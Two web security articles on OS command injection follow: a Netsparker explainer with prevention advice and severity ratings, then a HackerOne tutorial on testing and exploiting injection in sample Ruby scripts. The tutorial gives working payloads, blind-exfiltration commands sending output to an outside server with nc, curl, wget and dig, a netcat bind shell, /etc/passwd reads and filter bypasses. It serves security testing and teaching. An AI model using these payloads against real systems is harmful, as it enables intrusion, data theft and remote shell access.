**Command Injection Vulnerability**

OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data.

**[](https://www.netsparker.com/blog/web-security/command-injection-vulnerability/)**

**Why Do Web Applications Need to Execute System Commands?**

Web applications sometimes need to execute operating system commands (OS commands) to communicate with the underlying host operating system and the file system. This can be done to run system commands, launch applications written in another programming language, or run shell, python, perl, or PHP scripts. For any operating system, including Windows, Unix and Linux, functions are available that can execute a command that is passed to the other scripts as a shell command. While extremely useful, this functionality can be dangerous when used incorrectly, and can lead to [**web application security**](https://www.netsparker.com/) problems, as explained in this article.

**Why You Should be Careful When Using System Commands in Web Applications**

By exploiting a command injection vulnerability in a vulnerable application, attackers can add additional commands or inject their own operating system commands. This means that during a command injection attack, an attacker can easily take complete control of the host operating system of the web server. Therefore, developers should be very careful how to pass user input into one of those functions when developing web applications.

**Example of a Command Injection Vulnerability**

In this example of the command injection vulnerability, we are using the ping functionality, which is notoriously insecure on many routers. Imagine a vulnerable application that has a common function that passes an IP address from a user input to the system's ping command. Therefore, if the user input is 127.0.0.1, the following command is executed on the host operating system:

ping -c 5 127.0.0.1

Since we are dealing with a vulnerable web application, it is possible to break out of the ping command or provoke an error that returns useful information to the attacker. The attacker can then use this functionality to execute his own arbitrary commands. An example of adding additional system commands could look like this:

ping -c 5 127.0.0.1; id

In the above example, first the ping command is executed and directly after that the id command execution takes place. Therefore the command output on the page will look like this:

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.  
64 bytes from 127.0.0.1: icmp\_seq=1 ttl=64 time=0.023 ms  
64 bytes from 127.0.0.1: icmp\_seq=2 ttl=64 time=0.074 ms  
64 bytes from 127.0.0.1: icmp\_seq=3 ttl=64 time=0.074 ms  
64 bytes from 127.0.0.1: icmp\_seq=4 ttl=64 time=0.072 ms  
64 bytes from 127.0.0.1: icmp\_seq=5 ttl=64 time=0.037 ms

--- 127.0.0.1 ping statistics ---  
5 packets transmitted, 5 received, 0% packet loss, time 3999ms  
rtt min/avg/max/mdev = 0.023/0.056/0.074/0.021 ms  
uid=0(root) gid=0(root) groups=0(root)

During an OS command injection attack, the attacker can also set up an error based attack. For example, a code injection in this case will typically look like the below:

ping -c 5 "$(id)"

The above code injection returns a response like this:

ping: unknown host uid=0(root) gid=0(root) groups=0(root)

**How to Prevent System Command Injection Vulnerabilities**

In order to prevent an attacker from exploiting a vulnerable web application and inserting special characters into the operating system command, you should try to generally avoid system calls where possible. In all cases, avoid user input of any kind unless it is absolutely necessary. And if it *is* necessary, make sure there is proper input validation in place – input validation is always a must to ensure your web application code is not vulnerable to other high-impact vulnerabilities, including XSS and SQL Injection.

Also, deactivate this functionality in your language's configuration file if you don't need it, so attackers can never manage to gain access to the system shell on the host operating system through vulnerable web applications. In some languages, you can separate the execution of the process from the input parameters. You can also build a white list of possible inputs and check the formats, for example accepting only integer for a numeric id.

**Vulnerability Classification and Severity Table**

| **Classification** | **ID / Severity** |
| --- | --- |
| PCI v3.1 | 6.5.1 |
| PCI v3.2 | 6.5.1 |
| CAPEC | 88 |
| CWE | 78 |
| WASC | 31 |
| OWASP 2013 | A1 |
| HIPAA | 164.306(a), 164.308(a) |
| CVSS:3.0 | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Netsparker | Critical |

Keep up with the latest web security  
content with weekly updates.

HOW TO: COMMAND INJECTIONS

* [HACKER RESOURCES](https://www.hackerone.com/blog/category/hacker-resources)

July 7, 2017  |  HackerOne

A command injection is a class of vulnerabilities where the attacker can control one or multiple commands that are being executed on a system. This post will go over the impact, how to test for it, defeating mitigations, and caveats.

Before diving into command injections, let’s get something out of the way: a command injection is not the same as a remote code execution (RCE). The difference is that with an RCE, actual programming code is executed, whereas with a command injection, it’s an (OS) command being executed. In terms of possible impact, this is a minor difference, but the key difference is in how you find and exploit them.

**Setting up**

Let’s start by writing two simple Ruby scripts that you can run locally to learn finding and exploiting command injection vulnerabilities. I used Ruby 2.3.3p222. Below is **ping.rb**.

puts `ping -c 4 #{ARGV[0]}`

This script will ping the server that’s being passed to the script as argument. It will then return the command output on the screen. Example output below.

$ **ruby ping.rb** '**8.8.8.8**'

PING 8.8.8.8 (8.8.8.8): 56 data bytes

64 bytes from 8.8.8.8: icmp\_seq=0 ttl=46 time=23.653 ms

64 bytes from 8.8.8.8: icmp\_seq=1 ttl=46 time=9.111 ms

64 bytes from 8.8.8.8: icmp\_seq=2 ttl=46 time=8.571 ms

64 bytes from 8.8.8.8: icmp\_seq=3 ttl=46 time=20.565 ms

--- 8.8.8.8 ping statistics ---

4 packets transmitted, 4 packets received, 0.0% packet loss

round-trip min/avg/max/stddev = 8.571/15.475/23.653/6.726 ms

As you can see, it executed **ping -c 4 8.8.8.8** and displayed the output on the screen. Here’s another script that will be used in the blog post: **server-online.rb**.

puts `ping -c 4 #{ARGV[0]}`.include?('bytes from') ? 'yes' : 'no'

This script will determine whether the server is online based on an ICMP response (ping). If it responds to the ping request, it’ll display **yes** on the screen. In case it doesn’t, it’ll display **no**. The output of the command isn’t returned to the user. Example output below.

$ **ruby server-on.rb '8.8.8.8'**

yes

$ **ruby server-on.rb '8.8.8.7'**

no

**Testing**

One of the best ways to detect a first-order command injection vulnerability is trying to execute a **sleep** command and determine if the execution time increases. To start with this, let’s establish a time baseline for the **ping.rb** script:

$ **time ruby ping.rb '8.8.8.8'**

PING 8.8.8.8 (8.8.8.8): 56 data bytes

...

0.09s user 0.04s system 4% cpu 3.176 total

Notice that executing script takes about 3 seconds. Now let’s determine if the script is vulnerable to a command injection by injecting a **sleep** command.

$ **time ruby ping.rb '8.8.8.8 && sleep 5'**

PING 8.8.8.8 (8.8.8.8): 56 data bytes

...

0.10s user 0.04s system 1% cpu 8.182 total

The script will now execute the command **ping -c 4 8.8.8.8 && sleep 5**. Notice the execution time again: it jumped from ~3 seconds to ~8 seconds, which is an increase of exactly 5 seconds. There can still be unexpected delays on the internet, so it’s important to repeat the injection and play with the amount of seconds to make sure it’s not a false positive.

Let’s determine whether the **server-online.rb** script is vulnerable, too.

$ **time ruby server-online.rb '8.8.8.8'**

yes

0.10s user 0.04s system 4% cpu 3.174 total

$ **time ruby server-online.rb '8.8.8.8 && sleep 5'**

yes

0.10s user 0.04s system 1% cpu 8.203 total

Again, the baseline shows executing a normal request takes about 3 seconds. Adding **&& sleep 5** to the command increases the time to 8 seconds.

Depending on the command being executed, the **sleep** command may be injected differently. Here are a few payloads that you can try when looking for command injections (they all work):

*time ruby ping.rb '8.8.8.8`sleep 5`'*

When a command line gets parsed, everything between backticks is executed first. Executing **echo `ls`** will first execute **ls** and capture its output. It’ll then pass the output to **echo**, which displays the output of **ls** on the screen. This is called [command substitution](https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html). Since execution of the command between backticks takes precedence, it doesn’t matter if the command executed afterwards fails. Below is a table of commands with injected payloads and its result. The injected payload is marked in green.

|  |  |
| --- | --- |
| **Command** | **Result** |
| ping -c 4 8.8.8.8`sleep 5` | **sleep** command executed, command substitution works in command line. |
| ping -c 4 "8.8.8.8`sleep 5`" | **sleep** command executed, command substitution works in complex strings (between double quotes). |
| ping -c 4 $(echo 8.8.8.8`sleep 5`) | **sleep** command executed, command substitution works in command substitution when using a different notation (see example below). |
| ping -c 4 '8.8.8.8`sleep 5`' | **sleep** command **not** executed, command substitution does not work in simple strings (between single quotes). |
| ping -c 4 `echo 8.8.8.8`sleep 5`` | **sleep** command **not** executed, command substitution does not work when using the same notation. |

*time ruby ping.rb '8.8.8.8$(sleep 5)'*  
This is a different notation for command substitution. This may be useful when backticks are filtered or encoded. When using command substitution to look for command injections, make sure to test both notations to avoid true-negatives in case the payload is already being substituted (see last example in table above).

*time ruby ping.rb '8.8.8.8; sleep 5'*

Commands are executed in a sequence (left to right) and they can be separated with semicolons. When a command in the sequence fails it won’t stop executing the other commands. Below is a table of commands with injected payloads and its result. The injected payload is marked in green.

|  |  |
| --- | --- |
| **Command** | **Result** |
| ping -c 4 8.8.8.8;sleep 5 | **sleep** command executed, sequencing commands works when used on the command line. |
| ping -c 4 "8.8.8.8;sleep 5" | **sleep** command **not** executed, the additional command is injected in a string, which is passed as argument to the **ping** command. |
| ping -c 4 $(echo 8.8.8.8;sleep 5) | **sleep** command executed, sequencing commands works in command substitution. |
| ping -c 4 '8.8.8.8;sleep 5' | **sleep** command **not** executed, the additional command is injected in a string, which is passed as argument to the **ping** command. |
| ping -c 4 `echo 8.8.8.8;sleep 5` | **sleep** command executed, sequencing commands works in command substitution. |

*time ruby ping.rb '8.8.8.8 | sleep 5'*  
Command output can be piped, in sequence, to another commands. When executing **cat /etc/passwd | grep root**, it’ll capture the output of the **cat /etc/passwd** command and pass it to **grep root**, which will then show the lines that match **root**. When the first command fail, it’ll still execute the second command. Below is a table of commands with injected payloads and its result. The injected payload is marked in green.

|  |  |
| --- | --- |
| **Command** | **Result** |
| ping -c 4 8.8.8.8 | sleep 5 | **sleep** command executed, piping output works when used on the command line. |
| ping -c 4 "8.8.8.8 | sleep 5" | **sleep** command **not** executed, the additional command is injected in a string, which is passed as argument to the **ping** command. |
| ping -c 4 $(echo 8.8.8.8 | sleep 5) | **sleep** command executed, piping output works in command substitution. |
| ping -c 4 '8.8.8.8 | sleep 5' | **sleep** command **not** executed, the additional command is injected in a string, which is passed as argument to the **ping** command. |
| ping -c 4 `echo 8.8.8.8 | sleep 5` | **sleep** command executed, piping output works in command substitution. |

**Exploiting**

To exploit the vulnerability for evidence is to determine whether it’s a *generic* or *blind* command injection. The difference between the two, is that a *blind* command injection doesn’t return the output of the command in the response. A *generic* command injection would return the output of the executes command(s) in the response. The **sleep** command is often a good proof of concept for either flavor. However, if you need more proof, execute **id**, **hostname**, or **whoami** and use the output as additional proof. The server’s hostname is useful to determine how many servers are affected and help the vendor to get a sense of impact faster.

**Important**: needless to say, most companies don’t appreciate you snooping around on their systems. Before exploiting the vulnerability to pivot into something else, ask permission to the company. In nearly all situations proving that executing arbitrary but harmless commands like **sleep**, **id**, **hostname** or **whoami** is enough to proof impact to the affected company.

*Exploiting generic command injection*

This is usually pretty straightforward: the output of any injected command will be returned to the user:

$ **ruby ping.rb '8.8.8.8 && whoami'**

PING 8.8.8.8 (8.8.8.8): 56 data bytes

64 bytes from 8.8.8.8: icmp\_seq=0 ttl=46 time=9.008 ms

64 bytes from 8.8.8.8: icmp\_seq=1 ttl=46 time=8.572 ms

64 bytes from 8.8.8.8: icmp\_seq=2 ttl=46 time=9.309 ms

64 bytes from 8.8.8.8: icmp\_seq=3 ttl=46 time=9.005 ms

--- 8.8.8.8 ping statistics ---

4 packets transmitted, 4 packets received, 0.0% packet loss

round-trip min/avg/max/stddev = 8.572/8.973/9.309/0.263 ms

jobert

The red part shows the output of the **ping** command. The green text the output of the **whoami** command. From this point, you can gather evidence for your proof of concept. Again, stick to harmless commands.

*Exploiting blind command injection*

With blind command injections the output isn’t returned to the user, so we should find other ways to extract the output. The most straightforward technique is to offload the output to your server. To simulate this, run **nc -l -n -vv -p 80 -k** on your server and allow inbound connections on port 80 in your firewall.

Once you’ve set up the listener, use **nc**, **curl**, **wget**, **telnet**, or any other tool that sends data to the internet, to send the output to your server:

$ **ruby server-online.rb '8.8.8.8 && hostname | nc IP 80'**

yes

Then observe a connection being made to your server that shows the output of the **hostname** command:

$ **nc -l -n -vv -p 80 -k**

Listening on [0.0.0.0] (family 0, port 81)

Connection from [1.2.3.4] port 80 [tcp/\*] accepted (family 2, sport 64225)

hacker.local

In the example above, **nc** is used to send the output of the command to your server. However, **nc** might be deleted or unable to execute. To avoid going down a rabbit hole, there are a few simple payloads to determine if a command exists. In case any of the commands increase the time with 5 seconds, you know the command exists.

* curl -h && sleep 5
* wget -h && sleep 5
* ssh -V && sleep 5
* telnet && sleep 5

When you’ve determined a command exists, you can use any of those commands to send the output of a command to your server, like this:

* whoami | curl http://your-server -d @-
* wget http://your-server/$(whoami)
* export C=whoami | ssh user@your-server (setup the **user** account on **your-server** to authenticate without a password and log every command being executed)

Even though the **server-online.rb** script doesn’t output the result of the **hostname** command, the output can be sent to a remote server and obtained by an attacker. In some cases, outbound TCP and UDP connections are blocked. It’s still possible to extract the output in that case, we just have to do a little bit more work.

In order to extract the output, we have to guess the output based on something that we can change. In this case, the execution time can be increased using the **sleep** command. This can be used to extract the output. The trick here is to pass the result of a command to the **sleep** command. Here’s an example: **sleep $(hostname | cut -c 1 | tr a 5)**. Let’s analyze this for a moment.

1. It’s executing the **hostname** command. Let’s assume it returns **hacker.local**.
2. It’ll take that output and pass it to **cut -c 1**. This will take the first character of **hacker.local**, which is the character **h**.
3. It passes it to **tr a 5**, which will replace the character **a** with a **5** in the output of the cut command (**h**).
4. The output of the **tr** command is then passed to the **sleep** command, resulting in **sleep h** being executed. This will immediately error, since **sleep** can only take a number as first argument. The goal is then to iterate over the characters with the **tr** command. Once you execute **sleep $(hostname | cut -c 1 | tr h 5)**, the command will take 5 seconds longer to execute. This is how you determine that the first character is an **h**.
5. Once you guessed a character, increase the number you pass to the **cut -c** command, and repeat.

Here’s a table with the commands to determine the output:

|  |  |  |
| --- | --- | --- |
| **Command** | **Time** | **Result** |
| ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr a 5)' | 3s | - |
| ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr h 5)' | 8s | h |
| ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 2 | tr a 5)' | 8s | a |
| ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr a 5)' | 3s | - |
| ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr c 5)' | 8s | c |

To determine how many characters you need to guess: pipe the output of **hostname** to **wc -c** and pass that to the **sleep** command. **hacker.local** is 12 characters. The **hostname** command returns the hostname and a new line, so **wc -c** will return 13. We established that normally, the script takes 3 seconds to complete.

$ **time ruby server-online.rb '8.8.8.8 && sleep $(hostname | wc -c)'**

yes

0.10s user 0.04s system 0% cpu 16.188 total

The payload above shows that the script now takes 16 seconds to complete, which means the output of **hostname** is 12 characters: 16 - 3 (baseline) - 1 (new line) = 12 characters. When executing this payload on a web server, know that the output may change: the length of the hostname could change when requests are handled by different servers.

The technique above works fine for smaller outputs, but can take a long time for reading a file. Some of the following methods can be pretty intrusive, so always make sure the company gave you a thumbs up to use more invasive extraction methods. In case outbound connections are blocked and the output is too long to read, here are a few other tricks to try (useful during CTFs):

* Run a port scan on the server and based on the exposed services, determine a way to extract the output.
  + **FTP**: try writing the file to a directory you can download files from.
  + **SSH**: try writing the output of the command to the MOTD banner, then simply SSH to the server.
  + **Web**: try writing the output of the command to a file in a public directory (/var/www/).
* Spawn a shell on a port that can be reached from the outside (only available in custom netcat build): **nc -l -n -vv -p 80 -e /bin/bash** (unix) or **nc -l -n -vv -p 80 -e cmd.exe** (windows).
* Do a DNS query with **dig** or **nslookup** to send the output to port 53 (UDP): **dig `hostname` @your-server** or **nslookup `hostname` your-server**. Output can be captured with **nc -l -n -vv -p 53 -u -k** on your server. This may work because outbound DNS traffic is often allowed. Check out [this tweet](https://twitter.com/jobertabma/status/882237472389947392) how to offload file contents with **dig**.
* Change the ICMP packet size when pinging your server to offload data. **tcpdump** can be used to capture the data. Check out [this tweet](https://twitter.com/jobertabma/status/882562260761235456) how to do this.

There’s plenty of other ways, but it often depends on what kind of options the servers gives you. The technique shown above are most common when exploiting command injection vulnerabilities. The key is to use what you have to extract the output!

**Defeating mitigations**

Sometimes mitigations have been put in place, which may cause the above techniques not to work. One of the mitigations that I’ve seen over the years, is a restriction on whitespace in the payload. Luckily, there’s something called [Brace Expansion](http://www.gnu.org/software/bash/manual/bashref.html#Brace-Expansion) that can be used to create payloads without whitespace. Below is **ping-2.rb**, which is the second version of **ping.rb**. Before passing the user input to the command, it removes whitespace from the input.

puts `ping -c 4 #{ARGV[0].gsub(/\s+?/,'')}`

When passing **8.8.8.8 && sleep 5** as argument, it’d execute **ping -c 4 8.8.8.8&&sleep5**, which will result in an error showing that the command **sleep5** isn’t found. There’s an easy workaround by using brace expansion:

$ **time ruby ping-2.rb '8.8.8.8;{sleep,5}'**

...

0.10s user 0.04s system 1% cpu 8.182 total

Here’s a payload that sends the output of a command to an external server without using whitespace:

$ **ruby ping.rb '8.8.8.8;hostname|{nc,192.241.233.143,81}'**

PING 8.8.8.8 (8.8.8.8): 56 data bytes

...

Or to read **/etc/passwd**:

$ **ruby ping.rb '8.8.8.8;{cat,/etc/passwd}'**

PING 8.8.8.8 (8.8.8.8): 56 data bytes

64 bytes from 8.8.8.8: icmp\_seq=0 ttl=46 time=9.215 ms

64 bytes from 8.8.8.8: icmp\_seq=1 ttl=46 time=10.194 ms

64 bytes from 8.8.8.8: icmp\_seq=2 ttl=46 time=10.171 ms

64 bytes from 8.8.8.8: icmp\_seq=3 ttl=46 time=8.615 ms

--- 8.8.8.8 ping statistics ---

4 packets transmitted, 4 packets received, 0.0% packet loss

round-trip min/avg/max/stddev = 8.615/9.549/10.194/0.668 ms

##

# User Database

#

# Note that this file is consulted directly only when the system is running

# in single-user mode. At other times this information is provided by

# Open Directory.

...

Whenever a command is being executed with user input mitigations have to be put in place by the developer. Developers take different routes to implement mitigations, so it’s up to you to discover what they did and how to work around them.

Happy hacking!

Top of Form

Bottom of Form